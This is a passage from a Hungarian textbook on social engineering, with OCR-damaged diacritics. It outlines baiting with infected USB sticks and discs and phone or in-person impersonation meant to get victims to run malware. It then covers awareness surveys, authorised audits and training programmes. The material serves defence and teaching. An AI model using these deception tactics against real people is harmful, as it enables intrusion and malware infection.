rendszerébe hasonld modszerrel tortek be. A cég parkoldjaban szétszort pendrive-okat a legtobb mun-
katars gyanutlanul bedugta a szamitogépébe, elinditva ezzel az eszk6zon talalhato kémprogramot.'!’

Akar pendrive, akar CD/DVD keriil elszorasra a tdmadas sordn, altalaban forgalmas helyeken
kertilnek elhelyezésre: parkolo, mosdo, fénymadsold, targyalo, biifé stb., de céliranyosan hagyhato
irodaban is.

3.9.4.2. Postan/futarral bekiildott adathordozo

Postai/futarral torténd bekiildésre altalaban CD vagy DVD keriil, valamilyen érdekesnek tiing tarta-
lommal és kisérélevéllel. Ezen forgatokonyv soran a célszemélyek szama korlatozott és eldre meg-
hatarozott.

A levél targya lehet valamilyen nyereményjaték, ismertetd anyag, vagy éppen munkaval kapcsola-
tos, hivatalosnak tlin6 dokumentum is. Szintén hat4sos, ha a csomag valamilyen eseményre, linnepre
hivatkozva kertil bekiildésre (példaul karacsony, névnap stb.)

3.9.4.3. Reprezentacios ajandékként osztogatott adathordozo

Gyakori mddszer, hogy a véllalatok bemutatkoz6 anyagaikat, esetleg demo programjaikat kiilonb6z6
konferenciakon, rendezvényeken valamilyen adathordozon osztogatjdk a résztvevok szamara. Egy
tamado szamara Gtletes probalkozas lehet fertézott allomanyt tartalmazé adathordozot ilyen jellegii
eseményeken eljuttatni a célszemélyek szamara. Az adathordoz6 lehet CD vagy DVD (amennyiben a
rajta levo tartalom elég érdekesnek van Osszedllitva), vagy pendrive is (amennyiben a tdmado célja,
hogy a résztvevok biztosan elvegyék tovabbi hasznalatra).

16 QOroszi, 2012.
7 HVG XXX. évfolyam, 16. szam, 2008.04.19.
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3.9.4.4. Ajandék (példaul tjsdgmellékiet)

Az el6z6 ponthoz hasonloan a tdmado szintén ajandékba adja a fert6zott allomanyt tartalmazé adat-
hordozét, mely szintén lehet valamilyen lemez, vagy pendrive, ebben az esetben azonban nem egy
rendezvény, hanem egy masik termék, példaul egy ujsag, konyv hitelességét hasznalja ki. Hiszen ki
gondolna, hogy egy Ujsag vagy konyv CD mellékletén nem ellendrzott tartalom van?

3.9.4.5. Hiteles személy, ismerds sajat adathordozoja

A kértékony programok adathordozon torténd terjesztésének egyik leggyakoribb modszere, ha a kar-
tékony kod a felhasznalo sajat hordozhat6 adattarolojat is automatikusan megfertdzi. Ezutan az aldo-
zat barmilyen okbdl kifolyolag, barmely mas szamitégéphez csatlakoztatja az eszkdzt, a tudtan kiviil
tovabbfertdzi azt. Mivel egy valos személyben, ismerdsben az ember jobban megbizik, a legtobben
nyugodt szivvel csatlakoztatjak annak pendrive-jat a szamitdgépilikhoz, gy hogy fel sem mertil ben-
niik a véletlen karokozas gyanuja. Sokakban akkor sem meriil fel annak gyanuja, hogy ,,0sszeszed-
hetnek” valamilyen kartékony programot, amikor sajat pendrive-jukon adjak at példaul egy polo vagy
mas ajandéktargy nyomtatdsara szant képet, vagy a kinyomtatandé6 dokumentumokat a nyomtatast
vallalo szolgaltatonak.

3.9.5. Kartékony kod lefuttatasa személyes rahatassal

A tdmadas célja, hogy a tdimad6 maga gy6zze meg a gyanutlan felhaszndlot a kartékony kod lefutta-
tasanak sziikségességérdl. Ennek érdekében a social engineer egy rendszergazdat megszemélyesitve
hivatkozhat valamilyen sziikséges biztonsagi frissités telepitésére, valamilyen gyakran hasznalt prog-
rammal kapcsolatban észlelt hiba miatt indokolt javitocsomag lefuttatasra, egyéb kiilonods eseményre.
A meggy06z¢s torténhet személyesen, vagy telefonon keresztiil is, ezek az alabbi pontokban keriilnek
bemutatasra.'®

A meggydz¢és soran a tdmado élhet a segitségnytjtas technikdjaval (azaz arrdl gydzi meg a felhasz-
nalot, hogy késébbi problémait eldzi meg tevékenységével), valamint akar a segitség kérés modsze-
rével is (tehat maganak a tdmadonak van sziiksége a felhasznald segitségére, példaul hogy helyette
futtat le egy biztonsagi frissitést).

A modszer eldnye, hogy a tamadas soran a célszemély egy valos, hlis-vér emberrel kommunikal,
mely a legtobb ember gyanakvésat elaltatja és arra 6sztdnzi, hogy bizzon meg a segitséget nyujtd
vagy épp kérd félben.

A tamadas eldkészitésének elsd 1épése a célszemély(ek) megismerése (ki dolgozik a véllalatnal,
milyen munkakdrben dolgozik, milyen alkalmazéasokat hasznal a munkéja soran, elérhetdségek stb.).
Ha ezen informéciok birtokaba jutott a timado, akkor kdvetkezhet a tdmadas kellékeinek eldallitasa,
azaz a kartékony kod megirasa, hamis weboldal elkészitése €s a fajl feltoltése, vagy személyes meg-
keresés esetén a kartékony program adathordozoéra torténd kiirasa.

3.9.5.1. Személyes megjelenés megtévesztéssel

Bar egy valos tdmado altalaban keriili a személyes megjelenéssel jard kockazatokat, egy belsé tdma-
do6 esetében nem zarhatjuk ki a személyes karokozas megkisérlésének lehetdségét sem.

Ebben az esetben egyik lehetdségként a rosszindulatl kolléga vagy partner a felhasznald szamito-
gépéhez hozzaférve (példaul a felhaszndlo zarolatlanul hagyta ott, kiirta vagy megosztotta jelszavat
stb.), az aldozat tudta és jelenléte nélkiil futtathatja le a kartékony kodot.

18 QOroszi, 2012.
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Elofordulhat azonban az az eset is, amikor a tdmadoé személyesen probal segitséget nyujtani a
felhasznalonak (vagy mint valds kolléga belsd tdmadoként, vagy mint munkatarsat megszemélyesitd
social engineer). [lyenkor megprobal hozzatérést kérni az aldozat szamitogépéhez, vagy megprobalja
rabesz¢Ini a felhasznalot egy altala mutatott f3j1 letoltésére €s lefuttatasara, vagy személyesen adja at
a kartékony programot tartalmazé adathordozot és gondoskodik a tartalom lefuttatasarol.

3.9.5.2. Telefonos meggyozés

Koénnyebben kivitelezhetd, és kevesebb kockazattal jaro kisérlet, ha a timado a kordbban leirtakra te-
lefonon keresztiil probalja meg ravenni a kiszemelt aldozatot. Tipikus példéja, hogy felhivva a célsze-
mélyt valamilyen problémara hivatkozva megkéri, hogy latogasson el egy altala bediktalt weboldalra
vagy tarhelyre, toltse le az ott talalhato, biztonsagi frissitést (vagyis az annak alcazott kartevot) és a
telefonon keresztiil adott instrukcidknak megfelelden futtassa le a programot.

4. Az informaciobiztonsagi teriilet, illetve IT iizemeltetés feladata és felelossége
a Social Engineering jelentette kockazatok csokkentésében

A Social Engineering jelentette tamadasokkal szemben a legjobb védekezés a tudas: ha ismerjiik
ezeket a tamadasi technikékat, meg tudjuk akadalyozni, hogy konnyti célszemélyek legyiink, illetve
¢észlelni és haritani tudjuk, amennyiben mégis megtorténne. Jelen fejezetnek ennek szellemében nem
az a célja, hogy megismételje az egyes tamadasi technikakat és kiemelje a kockéazat csokkentésének
lehetdségeit, hanem ha a felhasznalok szamara segitséget nydjtani tudo két legfontosabb szakteriiletet
feladatait mutatja be a human tényezd jelentette informacidbiztonsagi kockéazatok végett: az informa-
ciobiztonsagi teriilet, illetve az IT lizemeltetés feladatait és feleldsségét.

Fontos kiemelni, hogy bar a Social Engineering jelentette timadasi techikdk megakadalyozasara
¢s eszlelésére technoldgiai védelmi intézkedések is 1éteznek, jelen tananyagrésznek a terjedelmi okok
és lehetséges atfedések miatt ezek bemutatdsa nem célja, ebben a részben kifejezetten a biztonsagtu-
datossag fokozasaval, az emberi tényez6, mint védelmi vonal megerdsitésével foglalkozunk. A biz-
tonsagtudatossag fejlesztésének optimalis 1€péseit az alabbi abra szemlélteti:

15. abra: A biztonsagtudatossag fejlesztésének optimalis folyamata
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Nagyon fontos, hogy barhol is kezdjiik meg a biztonsagtudatossagi fokozas korét, harom dolgokra
figyeljlink kiemelten: a szabalyozasra, a felmérésre, valamint a fejlesztésre, ¢s ezeket kombinaljuk
a szervezet igényeinek és képességeinek megfelelden.!!’® Az alabbiakban két kulcselemmel foglalko-
zunk részletesebben, a biztonsagtudatossagi szint mérésének lehetdségeivel, illetve a felhasznalok
biztonsagtudatossaganak fejlesztési modszereivel.

4.1. A biztonsdgtudatossagi szint mérése, kockdazatok azonositasa

A kockéazataranyos védelem kialakitasahoz elengedhetetlen a kockéazatok eldzetes azonositasa, igy az
emberi tényezd biztonsagtudatossagi fejlesztése sordn is érdemes ezzel kezdeni. Ahhoz, hogy haté-
kony biztonsagtudatossagi fejlesztést tudjunk megvaldsitani, elengedhetetlen, hogy valamilyen mo-
don eldzetesen azonositsuk a szervezet dolgozoinak biztonsagtudatossagi szintjét, illetve tisztdban
legylink az ehhez kapcsol6do szabalyozassal, kontrollokkal.
Az alabbiak eldzetes azonositasa sziikséges, mieldtt barmilyen képzés vagy program elem Gssze-

allitdsdba kezdenénk:

» felhasznalok jelenlegi ismeretei a tapasztalatok alapjan

» felhasznalok hianyz6/nem megfeleld ismeretei a tapasztalatok alapjan

+ felhasznalok viszonyulédsa az informacidbiztonsaghoz

» szabdalyzatokban foglalt, felhasznalokra vonatkozo eléirasok

» kapcsolodo fizikai biztonsagi intézkedések €s miikodésiik hatékonysaga

* kapcsolodo logikai biztonsagi kontrollok és mitkddésiik hatékonysaga

» kapcsolodo biztonsagi események, incidensek

A tapasztalatok alapjan a képzések, tudatosité kampanyok €és programok abban az esetben lesznek
hatékonyak, és akkor érik el a céljukat, ha a felhasznalok koriilményeire, igényeire kerlilnek szabasra,
fenntartjak az érdeklddést és ténylegesen hasznos ismereteket adnak at.

Az eldzetes ismeretek, jelenlegi helyzet azonositasara tobbféle lehetdség koziil valaszthatunk, eze-
ket az alabbiakban mutatjuk be.

4.1.1. Kérdoives felmérés

Az egyik legegyszerlibb modszer a kiilonféle felmérések végrehajtasara a kérddives felmérés megva-
l6sitasa, azaz toltessiink ki a szervezet minden munkavallalgjaval egy, a biztonsagtudatossag szintjét
felméro kérddivet.

A kérddiv lehet hagyomdanyos papir alapti, vagy a ma mar sokkal népszeriibb elektronikusan (pél-
daul online vagy e-learning rendszerben) kitdlthetd verzid is. Elektronikus kérdéivnél megvalosit-
hato azon probléma kikiiszobolése is, hogy a felhasznald ne tudja kivalasztani a legjobb megoldast
a lehetséges valaszok koziil, ugyanis beallitas szerint a kérdésre feltett valaszok egyesével, egymas
utan jelennek meg, és csak elutasitani vagy elfogadni tudja a legjobbnak véltet. Utdbbi azért is lehet
j6 megoldas, mert igy esetleg lehetdség van egy olyan kérddiv toltd program megalkotasara, mely az
adott valasznak megfelelden azonnal visszajelzést, jo tanacsot is ad a felhasznalonak. Szintén poziti-
vuma az elektronikus megoldasoknak, hogy segitségiikkel konnyebben tudunk elagazasos kérddivet
alkotni, azaz az adott valasz fiiggvényében mas-mas 01j kérdést feltenni, illetve tudjuk jel6lni a kote-
lez6 valaszokat, kitoltendé mezoket is.

A keérddivet természetesen minden szervezetre testreszabottan kell elkésziteni, altalanossagban
azonban elmondhato, hogy olyan, a kordbban mar emlitett szabalyzati pontok ismeretére kell rakér-

119 Leitold, Oroszi, 2014.
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dezni, melyek megszegésével egy social engineer vissza tud ¢éIni, mely kihdgasokat egy potencialis
tamado ki tud hasznélni.
A kérdések Osszeallitasdhoz az alabbiak figyelembevétele sziikséges:

* meglevo szabalyzatok tartalma

» korabbi kapcsolodo képzések adatai

* infrastruktira

* bevezetett védelmi intézkedések (fizikai és logikai is)

» korabbi biztonsagi események, incidensek

Nagyon fontos pont a kérdések és valaszok szamdnak, valamint jellegének meghatarozasa. A kér-
dések szamat és jellegét tigy kell meghatarozni, hogy a felhasznalok fél, maximum egy ora alatt
végezni tudjanak a kérddiv kitoltésével, de célszerti torekedni a minél rovidebb 1d6 alatt kitolthetd
verziokra. Leggyakrabban 25-50 kérdés feltétele célszerti, de a kérdés jellegétdl fliggden kevesebb is
lehet, példaul esettanulmany alkalmazasa esetén 5-10 céliranyos kérdés is feltehetd. Ami a vélaszok
szamat ¢€s jellegét illeti, nem kotelezd a hagyomanyos 4 lehetséges valasz alkalmazasa, st lehet tobb,
jonak tiind, de eltérden értékelt valasz alkalmazésa is. Javasolt utobbi eset alkalmazdsa, és az adott
valaszok stlyozasa, a jo és legjobb megoldas kozotti kiillonbségtétel. Szabad szoveges kifejtos kérdés
feltétele is lehetséges, ez azonban noveli a kitoltési idot, igy keriilendd, amennyiben tobb kérdést is
szeretnénk feltenni, illetve ez esetben inkabb fokuszcsoport alkalmazéasa javasolt, a tapasztalatok
alapjan ugyanis abban az esetben kapunk jol értelmezhetd szabad szoveges valaszokat, amennyiben
a csoport érdekelt ezek megvalaszolasaban, felismerik a kérdések fontossagat és véleményiik kifej-
tésének indokoltsagat, hasznat. Ezen tulmenden természetesen van lehetdség eltérd kérdéstipusok
alkalmazaséra, igy mint:

* tobb jo valasz lehetséges tipust kérdések,
* rangsorolos feladatok,

* 0Osszekotos feladatok,

» szOvegkiegészitds feladatok

+ esettanulmanyok.

Annak érdekében, hogy a kito1td személyek dszintén valaszolhassanak, célszerii a kérdéiv anonim
modon torténd leadasat biztositani, igy senkinek sem kell tartania a szankcioktdl, ha esetleg bevallja,
szandékosan a munkahelyi szamitogépén tolt le illegalis tartalmakat, vagy vét bizonyos szabalyok el-
len. Nagyon fontos tudatni a munkatarsakkal, hogy a kérddiv dszintén térténd kitoltése az 6 érdekiik,
hiszen a felmérésnek csak akkor van értelme, ha mindenki az igazat valaszolja.

A klasszikus kérdések mellett, hogy ne csak vizsga érzetet keltd kérdéseket tegylink fel, alkal-
mazhatunk néhany rovid esettanulmanyt, melyhez kérdéseket kapcsolunk, illetve megkérdezhetjiik a
valaszadotol, hogy keriilt-e mar hasonlo szitudcioba, taldlkozott-e valamilyen hasonl6 jellegli meg-
kereséssel.

A kérddivet ugy kell dsszeallitani, hogy olyan kérdések és esettanulmanyok keriiljenek bele, me-
lyek a vizsgalt szervezetnél relevansak, igy nem fog fennallni annak az esete sem, hogy valaki tala-
lomra véalaszol, illetve nem veszi komolyan a kérddivet. Fontos ezért, hogy a kérdések és esettanul-
manyok 0sszeallitdsakor mindenképpen szerezziink elegendd informaciot a szervezetrdl, hasznaljuk
fel a belsd szabalyzatait is a korabbiakban leirtak alapjan.

A beérkezett valaszok alapjan ki lehet alakitani a vizsgalt szervezet munkatarsairol egy olyan ké-
pet, hogy mely teriileteken bizonyulnak sajat bevallasuk szerint a ,,leggyengébbnek”, esetleg mely
szabalyzati pontok azok, amelyeket a felhasznalok nem értenek, vagy nem szeretnek betartani. Mind-
ezek nagyon hasznos alapot nytjthatnak a szabalyzatok elkészitésekor, modositasakor, valamint kide-
riil az is, a biztonsagtudatossagi oktatdsokon, programokon mely teriiletekre kell fektetni a hangsulyt.
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4.1.2. Social Engineering audit

A legpontosabb biztonsagtudatossagi felmérési eredmények szerzésének eszkoze egy Social Engi-
neering audit lefolytatasa, mely kifejezetten felhasznalok kiilonféle, az emberi tényezo6t kihasznalo
megkereséseivel szembeni ellendllo-képességére helyezi a hangsulyt. Az ilyen jellegli auditok célja
kettosnek tekinthetd: beszélhetiink egyfeldl a klasszikushoz hasonlo sériilékenységvizsgalatrol, hi-
szen ahogy egy informatikai rendszer biztonsagi megfeleldségét tesztelhetjiik, gy az emberi erd-
forrast is kell,'* masrészt pedig tekinthetjiik ,,csak” a biztonsagtudatossagi fejlesztést megalapozd
eldzetes felmérésnek is.

Barmi legyen is a célunk, a Social Engineering vizsgalatok altalaban egy projekt keretein beliil
zajlanak, kivitelezésiikbe sziikség esetén kiilsd fél bevondsa lehetséges a redlis eredmények elérése,
illetve a felmeriil6 kockazatok csokkentése céljabol, de belsd eréforrasbal is végrehajthato a feladat.
Mivel az ilyen jellegli sebezhetdség-vizsgalat — tekintve, hogy a szervezet alkalmazottjai ,.ellen”
iranyul, vagy legalabbis sokan tévesen igy fogjak fel — kiilondsen érzékeny és bizalmas kategoriaba
tartozik, nagyon fontos a projekt megfeleld elokészitése.

Még a vizsgalatok megkezdése eldtt nagyon fontos tisztazni, hogy mely teriiletek, személyek tar-
tozhatnak a vizsgalat hatokorébe. Jellemz6 probléma annak dilemmadja, hogy a vezetdség alavethetd
legyen-e a vizsgalatoknak. Véleményem szerint igen, hiszen a vezetd pozicioban elhelyezkedd sze-
mélyek is kiilonféle, akar specializalt Social Engineering jellegli timadasok célpontjaiva vélhatnak
(gondoljunk a korabban emlitett whaling tamadasra, vagy egyszerlien csak egy lehallgatd késziilék
elhelyezésére az irodaban). Ezért mindenképpen javasolt, hogy valamilyen formaban a vezetdség
biztonsagtudatossaga is keriiljon vizsgalatra. Persze a vélemények megoszlanak, vannak, akik sze-
rint nem célravezetd, ha magasabb pozicidban levd személyek is aldozataul esnek valamilyen ta-
madasnak, hiszen ha ,,elbuknak™ a vizsgélaton, az nem biztos, hogy 0sztonzi az alkalmazottakat a
biztonsagtudatos viselkedésre. Nem csak konkrét személyeket, hanem egyes teriileteket (osztalyokat,
részlegeket) is kiemelten be lehet vonni, illetve ki lehet zarni a vizsgalatokbol.'*!

Fontos azonban megjegyezni, hogy szem eldtt kell tartani, hogy a vizsgalat soha nem iranyul-
hat arra, hogy kijelolt célszemélyek ellen az audit soran olyan bizonyitékokat szerezzlink, melyek
lehetdvé teszi azok szankcionalasat! Emellett szemmel kell tartanunk azt is, hogy auditorként sem
rendelkeziink a Social Engineering korlatlan eszkoztaraval, és a tesztek végrehajtasahoz csak legalis
eszkozoket hasznalhatunk, illetve a teszteket csak a munkahelyi kdrnyezetre sziikithetjiik.'*

Nem szabad azonban arr6l sem megfeledkezni, hogy a Social Engineering auditoknak csak egyik
célja a felhasznalok biztonsagtudatossaganak tesztelése, ezen vizsgalatok emellett ugyanis a rendsze-
rekre, az azokba épitett védelemre is kiterjednek szemben a kérddives felmérésekkel.!** A feladatok
tervezése ¢és az eredmények értékelése sordn figyelembe kell venni azt is, hogy a célzott rendszer ho-
gyan neheziti meg a Social Engineering technikak alkalmazésat, vagy akadalyozza meg azt (példaul
két faktoros authentikacio, biometikus azonositas stb. alkalmazasa).

Amennyiben kiilsé féllel végeztetiink ilyen jellegli auditot, nem szabad megfeledkezni a vizsga-
latot végz6 személyek védelmérdl, mert amennyiben tevékenységiik leleplezddik példaul az épiilet-
ben tartdzkodds sordn, annak akdr biintetdeljaras is lehet a végkifejlete. Ennek elkeriilése érdekében
minden kiilsé projekttag szamara biztositani kell egy, a megbiz6 jogosult képviseldje altal alairt,
ugynevezett ,,Tamogato nyilatkozatot”, melyben a megbizo biztositja, hogy a vizsgalatot végzo sze-
mély altal elkovetett cselekményekrdl tudomasuk van, s ez a dokumentum mentesiti a biztonsagi és
hatésagi eljarasok alol. A dokumentumon fel kell tiintetni benne a projekt céljat, elvégzendo felada-
tokat, a megbiz6 kapcsolattartdjanak nevét és elérhetéségét, hogy ellendrizni lehessen a dokumentum

1
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0 Mann, 2008.
I Qroszi, 2011.
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3 Mann, 2008.
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hitelességét, valamint a vizsgalatot végzo személy nevét €s valamilyen személyazonositasra alkalmas
okmanyanak a szamat.'**

A Social Engineering auditot érdemes harom fazisban végrehajtani: els6 korben az informacio-
gyljtésre fokuszalva, bels6 informaciok atadasa vagy figyelembe vétele nélkiil, azt kovetden belso
informaciok megszerzésének vagy atadasanak birtokdban ¢€s legvégsd alkalommal belsd segitséget
igénybe véve (munkavallalo befolyasolasabval).'” Mindegyik szimulalt timadas esetében elézetes
forgatokonyvet kell késziteni, melyet a projekt vezetdjével jova kell hagyatni az éles tdamadas kivite-
lezése elott.

A végrehajtott teszteket dokumentalni kell, rogzitve a tamadas forgatokonyvét, a kivitelezés 1épé-
seit, illetve az eredményeket. Az audit jelentésnek ezek mellett tartalmaznia kell a lehetséges kocka-
zatcsokkentd intézkedéseket, javaslatokat, illetve értékelni kell a sikeres tamadas jelentette kockaza-
tokat. Az audit anonimizalt eredményeit érdemes beépiteni a biztonsagtudatossagi oktatdsokba, mert
a tapasztaltak szerint ezek a példdk 1ényegesen jobban felkeltik az oktatds iranti érdeklddést, illetve
a résztvevdj figyelmét.

4.1.3. Folyamatos mérést lehetévé tevo eszkozok

Az ad-hoc vagy rendszeres felmérések mellett lehetdség van olyan tesztek bevezetésére is, melyek
gyakorlatilag folyamatosan monitorozzak a felhasznalok biztonsagtudatossagi szintjét, viselkedését.
Ilyen lehet példaul a halozati forgalom elemzése, gyanus oldalak latogatdsanak vizsgélata, de tobb
nagy szervezet alkalmazott mar biztonsagtudatossagi szintmérd elemként napi biztonsagtudatossagi
kérdést, mely minden munkanap elején, a rendszerbe vald bejelentkezéskor valamilyen biztonsagtu-
datossaggal kapcsolatos egy vagy néhany kérdést tett fel a felhasznalonak. Amennyiben a felhasznalo
helyesen valaszolt a feltett kérdésekre, be tudott jelentkezni és meg tudta kezdeni a munkat, amennyi-
ben nem, a program egy ismeretterjesztd e-learning anyagra iranyitotta a kapcsolodo témaban.

A modszer eldnye, hogy a felhasznalo minden nap talalkozik biztonsagtudatossagi figyelemfelkel-
t6 kérdéssel, de hatranya, hogy nem teljes mértékben segit a biztonsagtudatossagi szint felmérésében,
hiszen az ismétlodo kérdéseket a felhasznald begyakorolhatja, valamint az ilyen modszerrel feltett
kérdéseknek kellden rovidnek és gyorsan megvalaszolhatonak kell lenniiik, annak érdekében, hogy
minél hamarabb lehetdség legyen a munka megkezdésére. Ezen okokbol kifolydlag az ilyen mdédon
szerzett eredmények torzak lehetnek az id6 eldrehaladtaval.

Ennek tovabbfejlesztett valtozata lehet a Social Engineering tesztek automatizalasa. Ezek 1ényege,
hogy nem projekt-szeriien, hanem folyamatosan, illetve meghatarozott rendszerességgel vizsgaljak a
felhasznalok biztonsagtudatossagat erre szolgald célalkalmazasokkal. A rendszer elsdsorban szami-
togépen keresztiil szimulalt tamadasokat (példaul hamis e-mailek) kiild ki a felhasznaloknak vélet-
lenszertien, tobb forgatokonyv alapjan, az eredményeket rogziti, illetve a felhasznalonak is azonnal
visszajelzést ad, ezaltal nem csak mérést, hanem a tudatossag fejlesztését is tamogatja.'?

4.2. A biztonsdagtudatossagi szint fejlesztése, kockazatok kezelése

Annak érdekében, hogy a szervezet munkavallaloi kelléen biztonsagtudatosak, és ezaltal ellenalléak
legyenek a 2. és 3. fejezetekben bemutatott timadasi technikdknak, megel6zz¢k vagy felismerjék az
emberi tényezd kihasznalasan alapuld tamadési formékat, a biztonsagtudatossagi szint mérése mel-
lett, viszont annak alapjan nagyon fontos a biztonsagtudatossag fejlesztése.

124 QOroszi, 2011.
125 Mann, 2008.
126 QOroszi, Farkas, Leitold, 2015.
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A fejlesztési programot tekinthetoen megkiilonboztethetiink rendszeres biztonsagtudatossagi fej-
lesztési tevékenységeket, illetve ad-hoc vagy rendkiviili tudatositd akciokat. A biztonsagtudatossag
mérésének ¢€s fejlesztésének 1dozitésérdl megoszlanak a vélemények: vannak szakértdk, akik szerint
el0szor a szintfelmérés végrehajtasa, €s annak mentén a tudatositd képzések dsszeallitasa a hatéko-
nyabb, mig masok szerint a képzések visszamérése szintfelméréssel egybekovetve a célravezetdbb.

A rendszeres biztonsagtudatossagi fejlesztésen kiviil indokolt lehet ad-hoc, illetve rendkiviili biz-
tonsagtudatossagi oktatasok, programok beiktatasa. Ezek kivalto okai altaldban, de nem kizarolago-
san a kovetkezok lehetnek:

+ informacidbiztonsagi incidens vagy esemény bekovetkezése, mely a felhasznalok biztonsag-
tudatossagéanak a hidnyara vezethetd vissza (példaul behatolas az épiiletbe, elvesztett eszkoz,
virusfertdzés stb.)

* (jonnan megjelend, a felhasznalokat érintd fenyegetés azonositasa (példaul uj, a felhasznalo-
kat megtévesztd kartékony program azonositasa)

» 1 informacidbiztonsagi kontroll bevezetése, vagy meglevé kontroll jelentés mddositasa (pél-
daul beléptetd rendszer cseréje vagy atallitasa, alkalmazasok tiltasa stb.)

* informacidbiztonsagi szabalyozasban torténd, felhasznalokat is érintd modositas

4.2.1. Oktatas, képzés

A biztonsagtudatossagi oktatas célja az ismeretterjesztés, hogy az alkalmazottak megismerjék az dket
érintd fenyegetéseket, értesiiljenek a rajuk vonatkozo, a szervezet altal meghatarozott biztonsagi el-
irasokrol, valamint megismerjék és megértsék az ezzel kapcsolatos szabalyzatok tartalmat, és ezaltal
tudatosan beépitsék a mindennapi munkavégzésiikbe az elsajatitott informacidbiztonsagi ismerete-
ket, a tdimadasok megeldzésére, illetve észlelésére szolgald modszereket. Tapasztalataink alapjan a
biztonsagtudatossagi oktatas abban az esetben a leghatékonyabb, ha azt egy Social Engineering audit
el6zi meg, melynek eredményei példaként szerepelnek az emberi tényezot érintd fenyegetések — akar
workshop-szeri — bemutatdsa, koz6s megvitatasa soran.

4.2.1.1. biztonsagtudatossagi oktatas

A leginkabb elterjedtebb és leggyakrabban alkalmazott biztonsag tudatossag fejlesztési modszer az
altalanos tematikaju biztonsagtudatossagi oktatas, mely altaldban tantermi, ¢l6szavas eléadast jelent.
Megvalositasat tekintve megkiilonboztethetiink egy atfogd, mindenre kiterjedd, nagyobb l1élegzetvé-
teli oktatast, vagy modularis felépitésii oktatdssorozatot is. Célja a legfontosabb, mindenkit érintd
altalanos biztonsagtudatossagi ismeretek atadasa, illetve szabalyzati eldirasok bemutatdsa a felhasz-
naldknak.
Az oktatas tematika javaslata a kovetkez0, de ettdl szervezetenként el lehet térni:
* Bevezetés
o Altalanos biztonsagi ismeretek, alapfogalmak
o Az informacidbiztonsag fontossadga
o Szabalyzati kdrnyezet
o A felhasznal6 helye és szerepe az informaciobiztonsagban
» Social Engineering jellegli timadasok, az emberi tényezd megtévesztésén alapulo fenyegetések
o Fizikai biztonsag, épiiletbe torténd bejutas
Megtévesztéses és megszemélyesitéses tamadasok
Tiszta asztal, tiszta képernyd politika betartasanak fontossaga
Telefonos megkeresések, hamis bejelentések
Internet, k6zosségi média hasznalati szokasok, veszélyek ismerete
Dokumentumok megsemmisitése

O O O O O
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» Szamitogép alapt tdamadasok
o Spam és lanclevél kezelése
Adathalész tdmadasok felismerése
o Kartékony programokkal kapcsolatos tudnivalok
o Makrok alkalmazéasanak, engedélyezésének veszélyei
o Jelszavak képzése ¢€s kezelése
*  Mobil eszk6zok biztonsaga
o Laptop, telefon, tablet, kiilso adattarolok kezelése
o Okostelefonokat fenyegetd veszélyek
o Tavoli munkavégzés szabalyai
* Incidensek jelentése
o Miis az incidens? — kapcsolddo fébb fogalmak
o Kinek és hogyan kell jelenteni
Okozott karok és szankciok
o Kommunikacios szabalyok
«  Osszefoglalas, kérdés-valasz szekcid
Ugyan a képzésben minden munkavallal6 érintett, de szakteriiletenkénti, vagy egyéb csoportbon-
tas lehetséges, ezesetben célszerli az oktatasi anyag testre szabésa, a kialakitott csoportokhoz legjob-
ban kapcsolodo példak tananyagba illesztése.
Javasolt csoportbontés lehet a kovetkezo:
o felsdvezetés,
* adminisztracios teriilet,
* lizemeltetés, IT,
* egy¢eb szakteriiletek.

o

o

Az oktatasok tematikdja, tartalmi mélysége, illetve idoraforditasa csoportbontds esetén eltérd le-
het. FelsOvezetok szamara célszerti rovidebb, tomorebb, célzottabb anyag kialakitasa és elsésorban
a munkavallalok 6sztonzésének segitése, mig a biztonsagtudatosabbnak vélt csoportok (példaul IT
iizemeltetés) szamara elsdsorban tjjdonsagok, specidlis technikak bemutatasa. A tobbi kialakitott cso-
port esetében mérlegelni kell az egyes tdmadasi technikdk bekdvetkezésének valdsziniiségét, és a
legmagasabb kockéazati modszereket érdemes kiemelten oktatni.

4.2.1.2. Biztonsagtudatossagi tréning

Az eldz6 pontban bemutatott biztonsadgtudatossagi oktatdshoz képest a biztonsdgtudatossagi tréning
annyiban kiilonbozik, hogy feltételezi egy korabbi biztonsagtudatosito fejlesztés végrehajtasat, és ez
altal célja a meglevd ismeretek elmélyitése, gyakorlati elsajatitasa. A hagyomanyos oktatasokhoz ha-
sonldan szintén tantermi keretek kozott zajlik, azonban megkdzelitésben interaktiv, inkabb workshop
jellegti, melyben kiemelten fontos a felhasznalok kozremikodése, tapasztalat-megosztasa. Az alta-
lanos oktatashoz hasonldan lehet teljeskorii, vagy modularis felépitésii, tematikdja az el6z6 pontban
bemutatottakkal megegyezo.

A tréning vagy workshop soran alkalmazhato6 eszk6zok a kovetkezok lehetnek:

+ esettanulmany feldolgozasa, megvitatasa

» tapasztalat megosztas (példaul Social Engineering auditokat kdvetden)

» szitudcios gyakorlat/szerepjaték (tamadasi technikak felismerése és védekezési szituaciok
gyakorlasa)

Ezen modszer alkalmazasakor a fokusz a felhasznalok kozremitkodésén, aktivitasan van, célszeri
ezért kisebb csoportokban megtartani a képzést. A feladatok Osszeallitdsa soran figyelni kell arra,
hogy a tréning a felhaszndlo szdmara sikerélmény legyen, és ne kellemetlen szituaciot, szamonkérést
jelentsen.
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4.2.1.3. Céliranyos személyes/kicsoportos oktatasok

A céliranyos, személyes, vagy kis csoportokban torténd oktatasok az altalanos tantermi oktatasok
¢és tréningek otvozetét képzik. Az altalanos oktatdshoz hasonloan tantermi keretek kozott keriilnek
megszervezésre, de inkabb csak egy téma, célzott teriilet keriil bemutatdsra (problémas témakor, vagy
ujdonsag), a tréningekkel szemben viszont a fokusz nem a felhasznal6i kdzremiikodésen, hanem az
ismeretatadason alapul, az interakcid, konzultacios lehetdség, gyakorlati elsajatitas masodlagos sze-
repet tolt be.
Altalaban a kovetkezd, ad-hoc események esetén javasolt szervezésiik:
* biztonséagi incidens bekdvetkezése utan, amennyiben felhasznalok is érintettek
» 1j, felhasznalokat is érintd fenyegetés megjelenése
* (j technoldgiai megoldasok bevezetése, szabalyozasi kornyezet specialis valtozasa
Tekintve, hogy ezen oktatas sziikségességét valamilyen esemény, valtozas indukalja, elsésorban az
adott eseménnyel, jdonsaggal kapcsolatos ismeretek ataddsa a cél valamilyen rovidebb idétartamu
személyes oktatas, el6adas keretein beliil.

4.2.1.4. E-learning tananyag

Sok szervezet dont a hatékonysagndvelés miatt az e-Learning oktatdsok megvalositasa mellett. Ezen
oktatasi tipus eldnye, hogy a munkavéllald szinte barhol, barmikor elvégezheti az egy vagy tobb
